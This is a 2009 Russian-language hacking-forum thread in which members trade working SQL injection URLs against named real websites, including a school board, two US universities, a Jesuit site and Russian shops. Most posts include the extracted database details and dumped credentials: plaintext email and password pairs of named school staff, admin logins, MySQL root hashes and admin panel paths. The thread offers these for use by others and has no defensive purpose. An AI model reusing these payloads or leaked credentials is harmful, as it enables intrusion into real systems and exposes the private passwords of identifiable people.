HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 16.02.2009, 00:11
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами: 10585560

Репутация: 1550


По умолчанию

http://www.graphicart.ro/graphic_art-COM-945GSE,_noul_Module_CPU_COM_Express_cu_procesorul_ Atom_N270_de_la_Intel-12+AND+ASCII(SUBSTRING((select+concat_ws(0x3a,vers ion(),database(),user())%20),26,1))=44.html



Version : 5.0.18-log
Database : graphicartro_gadb
User : graphicartro@www2.linux.ro
 
Ответить с цитированием

  #2  
Старый 16.02.2009, 00:18
-m0rgan-
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
С нами: 9270510

Репутация: 519


По умолчанию

Код:
http://top.frontmen.ru/kom.php?id=-1+union+select+1,concat(login,0x3a,password),3,4,5,6+from+users--
-------------------------------------------------------------
The End!
 
Ответить с цитированием

  #3  
Старый 16.02.2009, 00:18
f1ng3r
Участник форума
Регистрация: 14.01.2009
Сообщений: 257
С нами: 9116712

Репутация: 688
По умолчанию

Код:
http://www.stpsb.org/news.php?id=999999+union+select+1,2,3,concat _ws(0x3a ,version(),database(),user()),5,6,7,8,9,10,11,12--
Database Version : 5.1.22-rc
Database name : STPSB
User name : stpsb@localhost


админы и сисадмины:

Код:
http://www.stpsb.org/news.php?id=999999+union+select+1,2,3,concat _ws(0x3a,email ,password),5,6,7,8,9,10,11,12+from+users+limit+0,1--
Код:
admin@nmdesigns.com:test 
ronnie.barthet@stpsb.org:galaxy777
louis.boullion@stpsb.org:f!sh1ng
john.swang@stpsb.org:leoo2419
melody.swang@stpsb.org:smudge
linda.roan@stpsb.org:leroan 
aj.hankel@stpsb.org:w3badmin 
danny.garner@stpsb.org:ball2162 
kevin.hunt@stpsb.org:mememe 
Angela.Daviston@stpsb.org:yagtdb4 
joseph.rogers@stpsb.org:hailyeah
админка:

Код:
http://www.stpsb.org/ admin/
вход по e-mail
 
Ответить с цитированием

  #4  
Старый 16.02.2009, 00:40
zifanchuck
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
С нами: 9230096

Репутация: 464
По умолчанию

ТТ Финансы

ТИЦ: 200
PR: 5

Database Version: 5.0.67-log
Database name: u24363
User name: u24363@10.10.153.190

Цитата:
http://www.ttfinance.ru/news.php?id=-4346+union+select+concat_ws(0x3a,version(),databas e(),user())--
-----------------------------------------------------------------------------------------
Российское Исламское Наследие

ТИЦ: 90
PR: 4

Database Version: 5.0.67-log
Database name: u24570_1
User name: u24570@10.10.10.221

Цитата:
http://islamnasledie.ru/news.php?id=-1372+union+select+1,2,3,4,concat_ws(0x3a,version() ,database(),user()),6,7,8,9,10,11,12--
------------------------------------------------------------------------------------------

Последний раз редактировалось jokester; 16.02.2009 в 01:07.. Причина: sovtest.ru и theplace.ru БОЯНЫ
 
Ответить с цитированием

  #5  
Старый 16.02.2009, 02:03
f1ng3r
Участник форума
Регистрация: 14.01.2009
Сообщений: 257
С нами: 9116712

Репутация: 688
По умолчанию

Код:
http://www.26000gezichten.nl/news.php?id=-1+union+select+1,2,3,4,concat _ws(0x3a, version(),database(),user()),6,7,8,9,10,11,13,14,15--
Database Version : 4.0.24_Debian-10sarge2-log
Database name : 26000gezichten
User name : 26000gezichten@localhost
 
Ответить с цитированием

Еда
  #6  
Старый 16.02.2009, 08:12
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами: 10081287

Репутация: 568
По умолчанию Еда

Wcer.wisc.edu - pr7
Цитата:
https://www.wcer.wisc.edu/articleindex/index.php?cat_id=83&parent_id=-11'+union+select+versioN()%23--&req=show_articles
Unlv.edu - pr7
http://www.unlv.edu/cgiwrap/webcgi/photogallery/index.php?cat_id=-15'+union+select+unhex(hex(version())),2/*&action=images

Последний раз редактировалось sabe; 16.02.2009 в 23:53.. Причина: ггг)) у меня их всеровно больше чем ты думаеш )
 
Ответить с цитированием

  #7  
Старый 16.02.2009, 11:39
spherics
Участник форума
Регистрация: 14.01.2008
Сообщений: 174
С нами: 9644530

Репутация: 443
По умолчанию

Цитата:
http://falunart.wizk.it/item.php?Cid=768809777+union+select+1,2,3,concat_w s(0x3a,version(),user(),database()),5,6,7,8,9,10,1 1,12,13,14,15--&Pid=4
Database Version: 4.0.23_Debian-3ubuntu2.4-log
Database name: wizkit
User name: peter@localhost


Цитата:
http://falunart.wizk.it/item.php?Cid=768809777+union+select+1,2,3,concat_w s(0x3a,user,password),5,6,7,8,9,10,11,12,13,14,15+ from+mysql.user--&Pid=4
root : 5ace410270df76e6


PageRank = 6

Цитата:
http://www.centromultimediale.it/page.php?id=89097654+UNION+SELECT+1,2,AES_DECRYPT( AES_ENCRYPT(CONCAT(0x3a,Version(),0x3a,Database(), 0x3a,user(),0x3a),0x71),0x71),4,5--
Database Version: 4.1.20-log
Database name: cmmweb
User name: cmmusr@mysql-cluster
 
Ответить с цитированием

  #8  
Старый 16.02.2009, 12:43
Assembler
Участник форума
Регистрация: 01.09.2007
Сообщений: 203
С нами: 9838057

Репутация: 302
По умолчанию

Код:
http://www.jezuici.pl/faber/think.php?what=kier&id=1%20union%20select%201,2,3,4,5,6,concat_ws(0x3a,id,nick,pass,name),8,9%20from%20bazylika_admins--
(Админские данные)
Код:
http://www.jezuici.pl/faber/think.php?what=kier&id=1%20union%20select%201,2,3,4,5,6,table_name,8,9%20from%20information_schema.tables--
( Все таблицы)
Код:
http://www.jezuici.pl/bazylika/index/admin.php
(Админка)

nick: pass: name
PauluSJ: 18KVL08: Administrator

Есть еще несколько админок кому нада тот думаю сам наковыряет.
 
Ответить с цитированием

шоп...
  #9  
Старый 16.02.2009, 15:21
-m0rgan-
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
С нами: 9270510

Репутация: 519


По умолчанию шоп...

Шоп...
PR:4
Код:
http://linz-shopping.ru/linz-type.html?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,group_concat(concat(login,0x3a,password)),13+from+kernel_users--
логин/пасс:
Код:
root:roMdKE/jr382Q
Код:
pavel:pa6MMGOsPbNlE
Код:
linz:liXrWmY5KaAxI
--------------------------------------------------------
PR:2
ТИЦ:80
Код:
http://www.africasia.com/themiddleeast/me.php?ID=-1973+union+select+concat_ws(version(),user(),database()),2,3,4,5,6,7,8,9--
user/version/database:
Код:
africasia@localhost4.1.20-logafricasia
----------------------------------------------------
The End!

Последний раз редактировалось jokester; 16.02.2009 в 15:48..
 
Ответить с цитированием

  #10  
Старый 16.02.2009, 17:30
[JavaScript]
Познающий
Регистрация: 14.02.2009
Сообщений: 45
С нами: 9072487

Репутация: 74
По умолчанию

Сайт института
Код:
http://www.yivo.org/index.php?tid=1+and+1=0+union+select+1,2,3,unhex(hex(concat_ws(0x3a,user(),database(),version()))),5,6,7,8,9/*
user:database:version
Y1V0_4d31n@localhost:yivo_production:4.1.9-nt

Код:
http://www.yivo.org/index.php?tid=1+and+1=0+union+select+1,2,3,unhex(hex(concat_ws(0x3a,user,password))),5,6,7,8,9+from+mysql.user/*
user : password (MySQL)
root:682a23ee48abb657


Код:
http://www.yivo.org/index.php?tid=1+and+null+union+select+1,2,3,concat_ws(0x3a,username,password),5,6,7,8,9+from+users+limit+0,1/*
Users:
Код:
multimerge:mm4eva
hello:password
author1:password
yivo:mm4yivo

Последний раз редактировалось [JavaScript]; 16.02.2009 в 19:51..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.